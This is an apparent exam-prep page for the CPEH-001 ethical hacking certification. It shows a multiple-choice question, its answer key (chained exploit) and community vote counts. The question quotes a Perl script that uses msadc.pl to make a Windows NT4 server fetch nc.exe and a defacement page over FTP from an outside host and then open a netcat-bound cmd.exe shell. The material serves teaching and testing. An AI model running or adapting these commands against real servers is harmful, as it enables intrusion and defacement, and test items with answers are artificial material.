CPEH-001 · Question #303
A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On…
The correct answer is B. A chained exploit. See the full explanation below for the reasoning.
Question
A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:
system("perl msadc.pl -h $host -C "echo open $your >testfile""); system("perl msadc.pl -h $host -C "echo $user>>testfile""); system("perl msadc.pl -h $host -C "echo $pass>>testfile""); system("perl msadc.pl -h $host -C "echo bin>>testfile""); system("perl msadc.pl -h $host -C "echo get nc.exe>>testfile""); system("perl msadc.pl -h $host -C "echo get hacked.html>>testfile""); ("perl msadc.pl -h $host -C "echo quit>>testfile""); system("perl msadc.pl -h $host -C "ftp -s:testfile""); $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); Which exploit is indicated by this script?
Options
- AA buffer overflow exploit
- BA chained exploit
- CA SQL injection exploit
- DA denial of service exploit
How the community answered
(43 responses)- A2% (1)
- B84% (36)
- C9% (4)
- D5% (2)
Community Discussion
No community discussion yet for this question.